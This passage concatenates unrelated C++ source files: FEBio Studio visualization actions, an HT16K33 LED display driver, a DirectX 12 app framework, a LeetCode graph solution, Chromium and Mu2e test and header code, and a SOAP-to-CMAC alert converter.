(modelDoc) { img = dynamic_cast(ui->modelViewer->GetCurrentObject()); } else if (postDoc) { img = dynamic_cast(ui->postPanel->GetSelectedObject()); } if (img == nullptr) { QMessageBox::critical(this, "FEBio Studio", "Please select an image data set first."); return; } Post::CImageSlicer* slicer = new Post::CImageSlicer(img); slicer->Create(); img->AddImageRenderer(slicer); if (modelDoc) { ui->modelViewer->Update(); ui->modelViewer->Select(slicer); } else if (postDoc) { ui->postPanel->Update(); ui->postPanel->SelectObject(slicer); } RedrawGL(); } void CMainWindow::on_actionVolumeRender_triggered() { // get the document CDocument* modelDoc = GetModelDocument(); CDocument* postDoc = GetPostDocument(); Post::CImageModel* img = nullptr; if (modelDoc) { img = dynamic_cast(ui->modelViewer->GetCurrentObject()); } else if (postDoc) { img = dynamic_cast(ui->postPanel->GetSelectedObject()); } if (img == nullptr) { QMessageBox::critical(this, "FEBio Studio", "Please select an image data set first."); return; } Post::CVolRender* vr = new Post::CVolRender(img); vr->Create(); img->AddImageRenderer(vr); if (modelDoc) { ui->modelViewer->Update(); ui->modelViewer->Select(vr); } else if (postDoc) { ui->postPanel->Update(); ui->postPanel->SelectObject(vr); } RedrawGL(); } void CMainWindow::on_actionMarchingCubes_triggered() { // get the document CDocument* modelDoc = GetModelDocument(); CDocument* postDoc = GetPostDocument(); Post::CImageModel* img = nullptr; if (modelDoc) { img = dynamic_cast(ui->modelViewer->GetCurrentObject()); } else if (postDoc) { img = dynamic_cast(ui->postPanel->GetSelectedObject()); } if (img == nullptr) { QMessageBox::critical(this, "FEBio Studio", "Please select an image data set first."); return; } Post::CMarchingCubes* mc = new Post::CMarchingCubes(img); mc->Create(); img->AddImageRenderer(mc); if (modelDoc) { ui->modelViewer->Update(); ui->modelViewer->Select(mc); } else if (postDoc) { ui->postPanel->Update(); ui->postPanel->SelectObject(mc); } RedrawGL(); } void CMainWindow::on_actionAddProbe_triggered() { Post::CGLModel* glm = GetCurrentModel(); if (glm == nullptr) { QMessageBox::information(this, "FEBio Studio", warningNoActiveModel); return; } Post::GLProbe* probe = new Post::GLProbe(glm); glm->AddPlot(probe); UpdatePostPanel(true, probe); RedrawGL(); } void CMainWindow::on_actionIsosurfacePlot_triggered() { Post::CGLModel* glm = GetCurrentModel(); if (glm == nullptr) return; Post::CGLIsoSurfacePlot* pp = new Post::CGLIsoSurfacePlot(glm); glm->AddPlot(pp); UpdatePostPanel(true, pp); RedrawGL(); } void CMainWindow::on_actionSlicePlot_triggered() { Post::CGLModel* glm = GetCurrentModel(); if (glm == nullptr) return; Post::CGLSlicePlot* pp = new Post::CGLSlicePlot(glm); glm->AddPlot(pp); UpdatePostPanel(true, pp); RedrawGL(); } void CMainWindow::on_actionDisplacementMap_triggered() { /* CDocument* doc = GetDocument(); if (doc == nullptr) return; if (doc->IsValid() == false) return; CGLModel* pm = doc->GetGLModel(); if (pm->GetDisplacementMap() == 0) { if (pm->AddDisplacementMap() == false) { QMessageBox::warning(this, "FEBio Studio", "You need at least one vector field before you can define a displacement map."); } else { doc->UpdateFEModel(true); ui->modelViewer->Update(true); } } else { QMessageBox::information(this, "FEBio Studio", "This model already has a displacement map."); } */ } void CMainWindow::on_actionGraph_triggered() { CPostDocument* postDoc = GetPostDocument(); if (postDoc == nullptr) return; CGraphWindow* pg = new CModelGraphWindow(this, postDoc); AddGraph(pg); pg->show(); pg->raise(); pg->activateWindow(); pg->Update(); } void CMainWindow::on_actionSummary_triggered() { CPostDocument* postDoc = GetPostDocument(); if (postDoc == nullptr) return; CSummaryWindow* summaryWindow = new CSummaryWindow(this, postDoc); summaryWindow->Update(true); summaryWindow->show(); summaryWindow->raise(); summaryWindow->activateWindow(); AddGraph(summaryWindow); } void CMainWindow::on_actionStats_triggered() { CPostDocument* postDoc = GetPostDocument(); if (postDoc == nullptr) return; CStatsWindow* statsWindow = new CStatsWindow(this, postDoc); statsWindow->Update(true); statsWindow->show(); statsWindow->raise(); statsWindow->activateWindow(); AddGraph(statsWindow); } void CMainWindow::on_actionIntegrate_triggered() { CPostDocument* postDoc = GetPostDocument(); if (postDoc == nullptr) return; CIntegrateWindow* integrateWindow = new CIntegrateWindow(this, postDoc); integrateWindow->Update(true); integrateWindow->show(); integrateWindow->raise(); integrateWindow->activateWindow(); AddGraph(integrateWindow); } void CMainWindow::on_actionIntegrateSurface_triggered() { CPostDocument* postDoc = GetPostDocument(); if (postDoc == nullptr) return; CIntegrateSurfaceWindow* integrateWindow = new CIntegrateSurfaceWindow(this, postDoc); integrateWindow->Update(true); integrateWindow->show(); integrateWindow->raise(); integrateWindow->activateWindow(); AddGraph(integrateWindow); } void CMainWindow::on_actionImportPoints_triggered() { CDlgImportPoints dlg(this); dlg.exec(); } class processLinesThread : public CustomThread { public: processLinesThread(Post::FEPostModel& fem) : m_fem(fem) { } void run() Q_DECL_OVERRIDE { // process the line data int states = m_fem.GetStates(); m_completed = 0; #pragma omp parallel for schedule(dynamic) for (int nstate = 0; nstate < states; ++nstate) { Post::FEState& s = *m_fem.GetState(nstate); Post::LineData& lineData = s.GetLineData(); lineData.processLines(); double f = (double)nstate / m_fem.GetStates(); #pragma omp atomic m_completed++; } m_completed = m_fem.GetStates(); emit resultReady(true); } public: bool hasProgress() override { return true; } double progress() override { double pct = 100.0 * m_completed / m_fem.GetStates(); return pct; } const char* currentTask() override { return "processing line data"; } void stop() override {} private: int m_completed; Post::FEPostModel& m_fem; }; void CMainWindow::on_actionImportLines_triggered() { CDlgImportLines dlg(this); if (dlg.exec()) { CPostDocument* doc = ui->m_wnd->GetPostDocument(); if (doc == nullptr) return; Post::FEPostModel& fem = *doc->GetFEModel(); processLinesThread* thread = new processLinesThread(fem); CDlgStartThread dlg2(this, thread); dlg2.exec(); } } //----------------------------------------------------------------------------- // set the current time value void CMainWindow::SetCurrentTimeValue(float ftime) { CPostDocument* doc = GetPostDocument(); if (doc == nullptr) return; int n0 = doc->GetActiveState(); doc->SetCurrentTimeValue(ftime); int n1 = doc->GetActiveState(); if (n0 != n1) { ui->postToolBar->SetSpinValue(n1 + 1, true); } if (ui->timePanel && ui->timePanel->isVisible()) ui->timePanel->Update(false); // update the rest // UpdateTools(false); // UpdateGraphs(false); RedrawGL(); } //----------------------------------------------------------------------------- void CMainWindow::onTimer() { if (ui->m_isAnimating == false) return; CPostDocument* doc = GetPostDocument(); if (doc == nullptr) return; TIMESETTINGS& time = doc->GetTimeSettings(); int N = doc->GetFEModel()->GetStates(); int N0 = time.m_start; int N1 = time.m_end; int nstep = doc->GetActiveState(); if (time.m_bfix) { float f0 = doc->GetTimeValue(N0); float f1 = doc->GetTimeValue(N1); float ftime = doc->GetTimeValue(); if (time.m_mode == MODE_FORWARD) { ftime += time.m_dt; if (ftime > f1) { if (time.m_bloop) ftime = f0; else { ftime = f1; StopAnimation(); } } } else if (time.m_mode == MODE_REVERSE) { ftime -= time.m_dt; if (ftime < f0) { if (time.m_bloop) ftime = f1; else { ftime = f0; StopAnimation(); } } } else if (time.m_mode == MODE_CYLCE) { ftime += time.m_dt*time.m_inc; if (ftime > f1) { time.m_inc = -1; ftime = f1; if (time.m_bloop == false) StopAnimation(); } else if (ftime < f0) { time.m_inc = 1; ftime = f0; if (time.m_bloop == false) StopAnimation(); } } SetCurrentTimeValue(ftime); } else { if (time.m_mode == MODE_FORWARD) { nstep++; if (nstep > N1) { if (time.m_bloop) nstep = N0; else { nstep = N1; StopAnimation(); } } } else if (time.m_mode == MODE_REVERSE) { nstep--; if (nstep < N0) { if (time.m_bloop) nstep = N1; else { nstep = N0; StopAnimation(); } } } else if (time.m_mode == MODE_CYLCE) { nstep += time.m_inc; if (nstep > N1) { time.m_inc = -1; nstep = N1; if (time.m_bloop == false) StopAnimation(); } else if (nstep < N0) { time.m_inc = 1; nstep = N0; if (time.m_bloop == false) StopAnimation(); } } ui->postToolBar->SetSpinValue(nstep + 1); } // TODO: Should I start the event before or after the view is redrawn? if (ui->m_isAnimating) { if (doc == nullptr) return; if (doc->IsValid()) { TIMESETTINGS& time = doc->GetTimeSettings(); double fps = time.m_fps; if (fps < 1.0) fps = 1.0; double msec_per_frame = 1000.0 / fps; QTimer::singleShot(msec_per_frame, this, SLOT(onTimer())); } } } void CMainWindow::on_selectData_currentValueChanged(int index) { // if (index == -1) // ui->actionColorMap->setDisabled(true); // else { // if (ui->actionColorMap->isEnabled() == false) // ui->actionColorMap->setEnabled(true); int nfield = ui->postToolBar->GetDataField(); CPostDocument* doc = GetPostDocument(); if (doc == nullptr) return; doc->SetDataField(nfield); // turn on the colormap if (ui->postToolBar->IsColorMapActive() == false) { ui->postToolBar->ToggleColorMap(); } ui->postPanel->SelectObject(doc->GetGLModel()->GetColorMap()); GetGLView()->UpdateWidgets(false); RedrawGL(); } // UpdateGraphs(false); // if (ui->modelViewer->isVisible()) ui->modelViewer->Update(false); } //----------------------------------------------------------------------------- void CMainWindow::on_actionPlay_toggled(bool bchecked) { CPostDocument* doc = GetPostDocument(); if (doc && doc->IsValid()) { if (bchecked) { TIMESETTINGS& time = doc->GetTimeSettings(); double fps = time.m_fps; if (fps < 1.0) fps = 1.0; double msec_per_frame = 1000.0 / fps; ui->m_isAnimating = true; QTimer::singleShot(msec_per_frame, this, SLOT(onTimer())); } else ui->m_isAnimating = false; } } //----------------------------------------------------------------------------- void CMainWindow::on_actionRefresh_triggered() { ui->postToolBar->setDisabled(true); CGLDocument* doc = dynamic_cast(GetDocument()); if (doc && doc->GetFileReader() && (doc->GetDocFilePath().empty() == false)) { OpenFile(QString::fromStdString(doc->GetDocFilePath()), false); } else { QMessageBox::critical(this, "ERROR", "Can't refresh."); } } //----------------------------------------------------------------------------- // set the current time of the current post doc void CMainWindow::SetCurrentTime(int n) { CPostDocument* doc = GetPostDocument(); if (doc == nullptr) return; ui->postToolBar->SetSpinValue(n + 1); } //----------------------------------------------------------------------------- void CMainWindow::on_actionFirst_triggered() { CPostDocument* doc = GetPostDocument(); if (doc == nullptr) return; TIMESETTINGS& time = doc->GetTimeSettings(); ui->postToolBar->SetSpinValue(time.m_start + 1); } //----------------------------------------------------------------------------- void CMainWindow::on_actionPrev_triggered() { CPostDocument* doc = GetPostDocument(); if (doc == nullptr) return; TIMESETTINGS& time = doc->GetTimeSettings(); int nstep = doc->GetActiveState(); nstep--; if (nstep < time.m_start) nstep = time.m_start; ui->postToolBar->SetSpinValue(nstep + 1); } //----------------------------------------------------------------------------- void CMainWindow::on_actionNext_triggered() { CPostDocument* doc = GetPostDocument(); if (doc == nullptr) return; TIMESETTINGS& time = doc->GetTimeSettings(); int nstep = doc->GetActiveState(); nstep++; if (nstep > time.m_end) nstep = time.m_end; ui->postToolBar->SetSpinValue(nstep + 1); } //----------------------------------------------------------------------------- void CMainWindow::on_actionLast_triggered() { CPostDocument* doc = GetPostDocument(); if (doc == nullptr) return; TIMESETTINGS& time = doc->GetTimeSettings(); ui->postToolBar->SetSpinValue(time.m_end + 1); } //----------------------------------------------------------------------------- void CMainWindow::on_actionTimeSettings_triggered() { CPostDocument* doc = GetPostDocument(); if (doc == nullptr) return; CDlgTimeSettings dlg(doc, this); if (dlg.exec()) { TIMESETTINGS& time = doc->GetTimeSettings(); // ui->timePanel->SetRange(time.m_start, time.m_end); int ntime = doc->GetActiveState(); if ((ntime < time.m_start) || (ntime > time.m_end)) { if (ntime < time.m_start) ntime = time.m_start; if (ntime > time.m_end) ntime = time.m_end; } ui->postToolBar->SetSpinValue(ntime + 1); RedrawGL(); } } //----------------------------------------------------------------------------- void CMainWindow::on_selectTime_valueChanged(int n) { CPostDocument* doc = GetPostDocument(); if (doc == nullptr) return; doc->SetActiveState(n - 1); RedrawGL(); ui->modelViewer->RefreshProperties(); if (ui->timePanel && ui->timePanel->isVisible()) ui->timePanel->Update(false); int graphs = ui->graphList.size(); QList::iterator it = ui->graphList.begin(); for (int i = 0; i < graphs; ++i, ++it) { CGraphWindow* w = *it; w->Update(false); } } //----------------------------------------------------------------------------- void CMainWindow::SetCurrentState(int n) { CPostDocument* doc = GetPostDocument(); if (doc == nullptr) return; ui->postToolBar->SetSpinValue(n + 1); } //----------------------------------------------------------------------------- void CMainWindow::on_actionColorMap_toggled(bool bchecked) { CPostDocument* doc = GetPostDocument(); if (doc == nullptr) return; doc->ActivateColormap(bchecked); ui->postPanel->SelectObject(doc->GetGLModel()->GetColorMap()); RedrawGL(); } lib/HT16K33/HT16K33.cpp #include "HT16K33.h" #include CHT16K33::CHT16K33(void) { }; void CHT16K33::Init(uint8_t addr) { _addr = addr; // System Setup Register Wire.beginTransmission(_addr); Wire.write(0x21); // oscillator on Wire.endTransmission(); // Display Setup Register Wire.beginTransmission(_addr); Wire.write(0x81); // blink off; display on Wire.endTransmission(); SetBrightness(15); ClearRowBuffer(); TransmitRowBuffer(); }; void CHT16K33::SetBrightness(uint8_t b) { if (b > 15) b = 15; // Digital Dimming Data Input Wire.beginTransmission(_addr); Wire.write(0xE0 | b); // brightness Wire.endTransmission(); }; void CHT16K33::TransmitRowBuffer(void) { // Display Memory Wire.beginTransmission(_addr); Wire.write(0); // start data at address 0 for (byte i=0; i<8; i++) { Wire.write(_rowBuffer[i] & 0xFF); Wire.write(_rowBuffer[i] >> 8); } Wire.endTransmission(); }; void CHT16K33::ClearRowBuffer(void) { for (byte i=0; i<8; i++) _rowBuffer[i] = 0; }; void CHT16K33::SetRow(uint8_t com, uint16_t data) { if (com < 8) _rowBuffer[com] = data; }; uint16_t CHT16K33::GetRow(uint8_t com) { if (com < 8) return _rowBuffer[com]; else return 0; }; void CHT16K33::SetDigit(uint8_t com, uint8_t c) { uint16_t value = 0; if (c <= 0xF) value = _digits[c]; switch (c) { case 'A': case 'B': case 'C': case 'D': case 'E': case 'F': case 'a': case 'b': case 'c': case 'd': case 'e': case 'f': value = c + 10 - 'A'; value = _digits[value & 0xF]; break; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': value = c - '0'; value = _digits[value & 0xF]; break; case ' ': value = 0; break; case ':': value = 0x02; //special for China 4 x 7-seg big display break; case '-': value = 0x40; break; } SetRow(com, value); } uint8_t CHT16K33::ReadKeys(void) { // Display Memory Wire.beginTransmission(_addr); Wire.write(0x40); // start data at address 0x40 Wire.endTransmission(); Wire.requestFrom(_addr, (uint8_t)6); if (Wire.available() == 6) { for (byte i=0; i<3; i++) { _keyBuffer[i] = Wire.read() | (Wire.read() << 8); } Wire.endTransmission(); } for (byte i=0; i<3; i++) { byte mask = 1; for (byte k=0; k<12; k++) { if (_keyBuffer[i] & mask) { _keydown = 16*(i+1) + (k+1); return _keydown; } mask <<= 1; } } _keydown = 0; return _keydown; }; const uint8_t CHT16K33::_digits[16] = { 0x3F, // 0 0x06, // 1 0x5B, // 2 0x4F, // 3 0x66, // 4 0x6D, // 5 0x7D, // 6 0x07, // 7 0x7F, // 8 0x6F, // 9 0x77, // A 0x7C, // B 0x39, // C 0x5E, // D 0x79, // E 0x71, // F }; 0 #include #include #include #include namespace Kent { } #include "pch.h" #include "IProgram.h" #include "ApplicationDX12.h" #include "ApplicationDX12PlatformResources.h" #include "ApplicationDX12FrameworkView.h" #include using namespace Application_DX12; using namespace concurrency; using namespace Windows::ApplicationModel; using namespace Windows::ApplicationModel::Core; using namespace Windows::ApplicationModel::Activation; using namespace Windows::UI::Core; using namespace Windows::UI::Input; using namespace Windows::System; using namespace Windows::Foundation; using namespace Windows::Graphics::Display; // The DirectX 12 Application template is documented at http://go.microsoft.com/fwlink/?LinkID=613670&clcid=0x409 ApplicationDX12FrameworkView::ApplicationDX12FrameworkView() : m_windowClosed(false), m_windowVisible(true) { } ApplicationDX12FrameworkView::ApplicationDX12FrameworkView(IProgram *program) : m_windowClosed(false), m_windowVisible(true), _program(program) { } // The first method called when the IFrameworkView is being created. void ApplicationDX12FrameworkView::Initialize(CoreApplicationView^ applicationView) { // Register event handlers for app lifecycle. This example includes Activated, so that we // can make the CoreWindow active and start rendering on the window. applicationView->Activated += ref new TypedEventHandler(this, &ApplicationDX12FrameworkView::OnActivated); CoreApplication::Suspending += ref new EventHandler(this, &ApplicationDX12FrameworkView::OnSuspending); CoreApplication::Resuming += ref new EventHandler(this, &ApplicationDX12FrameworkView::OnResuming); } // Called when the CoreWindow object is created (or re-created). void ApplicationDX12FrameworkView::SetWindow(CoreWindow^ window) { window->SizeChanged += ref new TypedEventHandler(this, &ApplicationDX12FrameworkView::OnWindowSizeChanged); window->VisibilityChanged += ref new TypedEventHandler(this, &ApplicationDX12FrameworkView::OnVisibilityChanged); window->Closed += ref new TypedEventHandler(this, &ApplicationDX12FrameworkView::OnWindowClosed); DisplayInformation^ currentDisplayInformation = DisplayInformation::GetForCurrentView(); currentDisplayInformation->DpiChanged += ref new TypedEventHandler(this, &ApplicationDX12FrameworkView::OnDpiChanged); currentDisplayInformation->OrientationChanged += ref new TypedEventHandler(this, &ApplicationDX12FrameworkView::OnOrientationChanged); DisplayInformation::DisplayContentsInvalidated += ref new TypedEventHandler(this, &ApplicationDX12FrameworkView::OnDisplayContentsInvalidated); } // Initializes scene resources, or loads a previously saved app state. void ApplicationDX12FrameworkView::Load(Platform::String^ entryPoint) { GetDeviceResources(); _program->Initialize(); } // This method is called after the window becomes active. void ApplicationDX12FrameworkView::Run() { while (!m_windowClosed) { if (m_windowVisible) { CoreWindow::GetForCurrentThread()->Dispatcher->ProcessEvents(CoreProcessEventsOption::ProcessAllIfPresent); auto commandQueue = GetDeviceResources()->GetCommandQueue(); PIXBeginEvent(commandQueue, 0, L"Update"); { _program->Update(); } PIXEndEvent(commandQueue); PIXBeginEvent(commandQueue, 0, L"Render"); { if (_program->Render()) { GetDeviceResources()->Present(); } } PIXEndEvent(commandQueue); } else { CoreWindow::GetForCurrentThread()->Dispatcher->ProcessEvents(CoreProcessEventsOption::ProcessOneAndAllPending); } } } // Required for IFrameworkView. // Terminate events do not cause Uninitialize to be called. It will be called if your IFrameworkView // class is torn down while the app is in the foreground. void ApplicationDX12FrameworkView::Uninitialize() { } // Application lifecycle event handlers. void ApplicationDX12FrameworkView::OnActivated(CoreApplicationView^ applicationView, IActivatedEventArgs^ args) { // Run() won't start until the CoreWindow is activated. CoreWindow::GetForCurrentThread()->Activate(); } // Notifies the app that it is being suspended. void ApplicationDX12FrameworkView::OnSuspending(Platform::Object^ sender, SuspendingEventArgs^ args) { // Save app state asynchronously after requesting a deferral. Holding a deferral // indicates that the application is busy performing suspending operations. Be // aware that a deferral may not be held indefinitely. After about five seconds, // the app will be forced to exit. SuspendingDeferral^ deferral = args->SuspendingOperation->GetDeferral(); create_task([this, deferral]() { // TODO: Replace this with your app's suspending logic. // Process lifetime management may terminate suspended apps at any time, so it is // good practice to save any state that will allow the app to restart where it left off. _program->SaveState(); // _program->Suspend() ??? // If your application uses video memory allocations that are easy to re-create, // consider releasing that memory to make it available to other applications. deferral->Complete(); }); } // Notifes the app that it is no longer suspended. void ApplicationDX12FrameworkView::OnResuming(Platform::Object^ sender, Platform::Object^ args) { // Restore any data or state that was unloaded on suspend. By default, data // and state are persisted when resuming from suspend. Note that this event // does not occur if the app was previously terminated. // TODO: Insert your code here. // TODO: Replace this with your app's resuming logic. // _program->LoadState() ??? // _program->Resume() ??? } // Window event handlers. void ApplicationDX12FrameworkView::OnWindowSizeChanged(CoreWindow^ sender, WindowSizeChangedEventArgs^ args) { GetDeviceResources()->SetLogicalSize(Size(sender->Bounds.Width, sender->Bounds.Height)); _program->Resize(0, 0); // platform has access to DeviceResources to we don't need to send width & height. } void ApplicationDX12FrameworkView::OnVisibilityChanged(CoreWindow^ sender, VisibilityChangedEventArgs^ args) { m_windowVisible = args->Visible; } void ApplicationDX12FrameworkView::OnWindowClosed(CoreWindow^ sender, CoreWindowEventArgs^ args) { m_windowClosed = true; } // DisplayInformation event handlers. void ApplicationDX12FrameworkView::OnDpiChanged(DisplayInformation^ sender, Object^ args) { // Note: The value for LogicalDpi retrieved here may not match the effective DPI of the app // if it is being scaled for high resolution devices. Once the DPI is set on DeviceResources, // you should always retrieve it using the GetDpi method. // See DeviceResources.cpp for more details. GetDeviceResources()->SetDpi(sender->LogicalDpi); _program->Resize(0, 0); // platform has access to DeviceResources to we don't need to send width & height. } void ApplicationDX12FrameworkView::OnOrientationChanged(DisplayInformation^ sender, Object^ args) { GetDeviceResources()->SetCurrentOrientation(sender->CurrentOrientation); _program->Resize(0, 0); // platform has access to DeviceResources to we don't need to send width & height. } void ApplicationDX12FrameworkView::OnDisplayContentsInvalidated(DisplayInformation^ sender, Object^ args) { GetDeviceResources()->ValidateDevice(); } std::shared_ptr ApplicationDX12FrameworkView::GetDeviceResources() { if (m_deviceResources != nullptr && m_deviceResources->IsDeviceRemoved()) { // All references to the existing D3D device must be released before a new device // can be created. m_deviceResources = nullptr; _program->SaveState(); _program->SetPlatformResources(nullptr); } if (m_deviceResources == nullptr) { m_deviceResources = std::make_shared(); m_deviceResources->SetWindow(CoreWindow::GetForCurrentThread()); IPlatformResources *platformResources = new ApplicationDX12PlatformResources(m_deviceResources); _program->SetPlatformResources(platformResources); _program->Resize(0, 0); // platform has access to DeviceResources to we don't need to send width & height. } return m_deviceResources; } Ginkgo-Biloba/Cpp-Repo1-VS #include "leetcode.hpp" /* 1782. 统计点对的数目 给你一个无向图,无向图由整数 n,表示图中节点的数目,和 edges 组成,其中 edges[i] = [ui, vi] 表示 ui 和 vi 之间有一条无向边。 同时给你一个代表查询的整数数组 queries 。 第 j 个查询的答案是满足如下条件的点对 (a, b) 的数目: a < b cnt 是与 a 或者 b 相连的边的数目,且 cnt 严格大于 queries[j] 。 请你返回一个数组 answers ,其中 answers.length == queries.length 且 answers[j] 是第 j 个查询的答案。 请注意,图中可能会有 重复边 。 示例 1: https://assets.leetcode.com/uploads/2021/02/11/screenshot-from-2021-02-11-23-07-35.png https://pic.leetcode-cn.com/1614828447-GMnLVg-image.png 输入:n = 4, edges = [[1,2],[2,4],[1,3],[2,3],[2,1]], queries = [2,3] 输出:[6,5] 解释:每个点对中,与至少一个点相连的边的数目如上图所示。 示例 2: 输入:n = 5, edges = [[1,5],[1,5],[3,4],[2,5],[1,3],[5,1],[2,3],[2,5]], queries = [1,2,3,4,5] 输出:[10,10,9,8,6] 提示: 2 <= n <= 2 * 10^4 1 <= edges.length <= 10^5 1 <= ui, vi <= n ui != vi 1 <= queries.length <= 20 0 <= queries[j] < edges.length */ // https://leetcode.com/problems/count-pairs-of-nodes/discuss/1096740/C%2B%2BJavaPython3-Two-Problems-O(q-*-(n-%2B-e)) // 抄的 vector countPairs(int n, vector>& edges, vector& queries) { vector cnt(n + 1), sorted_cnt(n + 1), res; vector> shared(n + 1); for (auto& e : edges) { sorted_cnt[e[0]] = cnt[e[0]] = cnt[e[0]] + 1; sorted_cnt[e[1]] = cnt[e[1]] = cnt[e[1]] + 1; ++shared[min(e[0], e[1])][max(e[0], e[1])]; } sort(sorted_cnt.begin(), sorted_cnt.end()); for (auto& q : queries) { res.push_back(0); for (int i = 1, j = n; i < j;) if (q < sorted_cnt[i] + sorted_cnt[j]) res.back() += (j--) - i; else ++i; for (auto i = 1; i <= n; ++i) for (auto const& it : shared[i]) { int j = it.first; int c = it.second; if (q < cnt[i] + cnt[j] && q + c >= cnt[i] + cnt[j]) --(res.back()); } } return res; } int main() {} zipated/src1000+ // Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "components/arc/test/fake_voice_interaction_framework_instance.h" #include #include "base/bind.h" #include "base/bind_helpers.h" namespace arc { FakeVoiceInteractionFrameworkInstance::FakeVoiceInteractionFrameworkInstance() = default; FakeVoiceInteractionFrameworkInstance:: ~FakeVoiceInteractionFrameworkInstance() = default; void FakeVoiceInteractionFrameworkInstance::InitDeprecated( mojom::VoiceInteractionFrameworkHostPtr host_ptr) { Init(std::move(host_ptr), base::DoNothing()); } void FakeVoiceInteractionFrameworkInstance::Init( mojom::VoiceInteractionFrameworkHostPtr host_ptr, InitCallback callback) { host_ = std::move(host_ptr); std::move(callback).Run(); } void FakeVoiceInteractionFrameworkInstance::StartVoiceInteractionSession( bool homescreen_is_active) { start_session_count_++; state_ = arc::mojom::VoiceInteractionState::RUNNING; host_->SetVoiceInteractionState(state_); } void FakeVoiceInteractionFrameworkInstance::ToggleVoiceInteractionSession( bool homescreen_is_active) { toggle_session_count_++; if (state_ == arc::mojom::VoiceInteractionState::RUNNING) state_ = arc::mojom::VoiceInteractionState::STOPPED; else state_ = arc::mojom::VoiceInteractionState::RUNNING; host_->SetVoiceInteractionState(state_); } void FakeVoiceInteractionFrameworkInstance:: StartVoiceInteractionSessionForRegion(const gfx::Rect& region) { start_session_for_region_count_++; selected_region_ = region; } void FakeVoiceInteractionFrameworkInstance::SetMetalayerVisibility( bool visible) { set_metalayer_visibility_count_++; metalayer_visible_ = visible; } void FakeVoiceInteractionFrameworkInstance::SetVoiceInteractionEnabled( bool enable, SetVoiceInteractionEnabledCallback callback) { std::move(callback).Run(); } void FakeVoiceInteractionFrameworkInstance::SetVoiceInteractionContextEnabled( bool enable) {} void FakeVoiceInteractionFrameworkInstance::StartVoiceInteractionSetupWizard() { setup_wizard_count_++; } void FakeVoiceInteractionFrameworkInstance::ShowVoiceInteractionSettings() { show_settings_count_++; } void FakeVoiceInteractionFrameworkInstance::GetVoiceInteractionSettings( GetVoiceInteractionSettingsCallback callback) {} void FakeVoiceInteractionFrameworkInstance::FlushMojoForTesting() { host_.FlushForTesting(); } } // namespace arc #include #ifdef ABEL_HAVE_EXCEPTIONS #include #include namespace testing { exceptions_internal::NoThrowTag nothrow_ctor; exceptions_internal::StrongGuaranteeTagType strong_guarantee; exceptions_internal::ExceptionSafetyTestBuilder<> MakeExceptionSafetyTester () { return {}; } namespace exceptions_internal { int countdown = -1; ConstructorTracker *ConstructorTracker::current_tracker_instance_ = nullptr; void MaybeThrow (abel::string_view msg, bool throw_bad_alloc) { if (countdown-- == 0) { if (throw_bad_alloc) throw TestBadAllocException(msg); throw TestException(msg); } } testing::AssertionResult FailureMessage (const TestException &e, int countDown) noexcept { return testing::AssertionFailure() << "Exception thrown from " << e.what(); } std::string GetSpecString (TypeSpec spec) { std::string out; abel::string_view sep; const auto append = [&] (abel::string_view s) { abel::string_append(&out, sep, s); sep = " | "; }; if (static_cast(TypeSpec::kNoThrowCopy & spec)) { append("kNoThrowCopy"); } if (static_cast(TypeSpec::kNoThrowMove & spec)) { append("kNoThrowMove"); } if (static_cast(TypeSpec::kNoThrowNew & spec)) { append("kNoThrowNew"); } return out; } std::string GetSpecString (AllocSpec spec) { return static_cast(AllocSpec::kNoThrowAllocate & spec) ? "kNoThrowAllocate" : ""; } } // namespace exceptions_internal } // namespace testing #endif // ABEL_HAVE_EXCEPTIONS #ifndef EventGenerator_GeneratorBase_hh #define EventGenerator_GeneratorBase_hh // // Base class to allow generic access to all of the event generator classes. // Also provides access to the random number engine associated with the // EventGenerator module. // // $Id: GeneratorBase.hh,v 1.9 2014/01/15 17:07:30 tassiell Exp $ // $Author: tassiell $ // $Date: 2014/01/15 17:07:30 $ // // Original author // // Framework includes #include "art/Framework/Core/detail/EngineCreator.h" #include "art/Framework/Services/Optional/RandomNumberGenerator.h" // Mu2e includes #include "MCDataProducts/inc/GenParticleCollection.hh" // CLHEP includes #include "CLHEP/Random/RandomEngine.h" namespace mu2e { class GeneratorBase{ public: explicit GeneratorBase(bool const isFromG4bl = false) : _isFromG4bl{isFromG4bl} {} virtual ~GeneratorBase() = default; virtual void generate( GenParticleCollection& ) = 0; bool isFromG4bl() { return _isFromG4bl; } protected: bool _isFromG4bl; }; } // end namespace mu2e, #endif /* EventGenerator_GeneratorBase_hh */ OS-WASABI/CADGsoap/cmac-conversion/cmac_converter.cpp0 /// Converts any syntactically correct SOAP CAP document into a CMAC XML document. /** * * Copyright 2018 , , , * , * * @file cmac_converter.cpp * @authors * @date January, 2019 */ #include #include #include #include "cmac_converter.hpp" #include "../pugixml-1.9/src/pugixml.hpp" void CMAC::convert(std::string soap_filename, std::string cmac_filename) { // Obtaining the current date-time for later use. std::time_t time = std::time(0); std::tm* current_date_time = std::localtime(&time); std::string date_time_str = std::to_string((current_date_time->tm_year + 1900)) + '-' + std::to_string((current_date_time->tm_mon + 1)) + '-' + std::to_string(current_date_time->tm_mday) + 'T' + std::to_string(current_date_time->tm_hour) + ':' + std::to_string(current_date_time->tm_min) + ':' + std::to_string(current_date_time->tm_sec) + 'Z'; // Pulling the SOAP document into memory. pugi::xml_document soap_doc; pugi::xml_parse_result result = soap_doc.load_file(soap_filename.c_str()); pugi::xml_node cap_message = soap_doc.first_child().first_child().first_child(); // Creating the CMAC document and declaring its root node. pugi::xml_document cmac_doc; auto declaration_node = cmac_doc.append_child(pugi::node_declaration); declaration_node.append_attribute("version") = "1.0"; auto root_node = cmac_doc.append_child("CMAC_Alert_Attributes"); /** * Creating the node structure for the entire CMAC document. * All node variable names match the corresponding CMAC * structure as closely as possible. */ auto cmac_protocol_version = root_node.append_child("CMAC_protocol_version"); auto cmac_sending_gateway_id = root_node.append_child("CMAC_sending_gateway_id"); auto cmac_message_number = root_node.append_child("CMAC_message_number"); auto cmac_referenced_message_cap_identifier = root_node.append_child("CMAC_referenced_message_cap_identifier"); auto cmac_special_handling = root_node.append_child("CMAC_special_handling"); auto cmac_sender = root_node.append_child("CMAC_sender"); auto cmac_sent_date_time = root_node.append_child("CMAC_sent_date_time"); auto cmac_status = root_node.append_child("CMAC_status"); auto cmac_message_type = root_node.append_child("CMAC_message_type"); auto cmac_response_code = root_node.append_child("CMAC_response_code"); auto cmac_note = root_node.append_child("CMAC_note"); auto cmac_cap_alert_uri = root_node.append_child("CMAC_cap_alert_uri"); auto 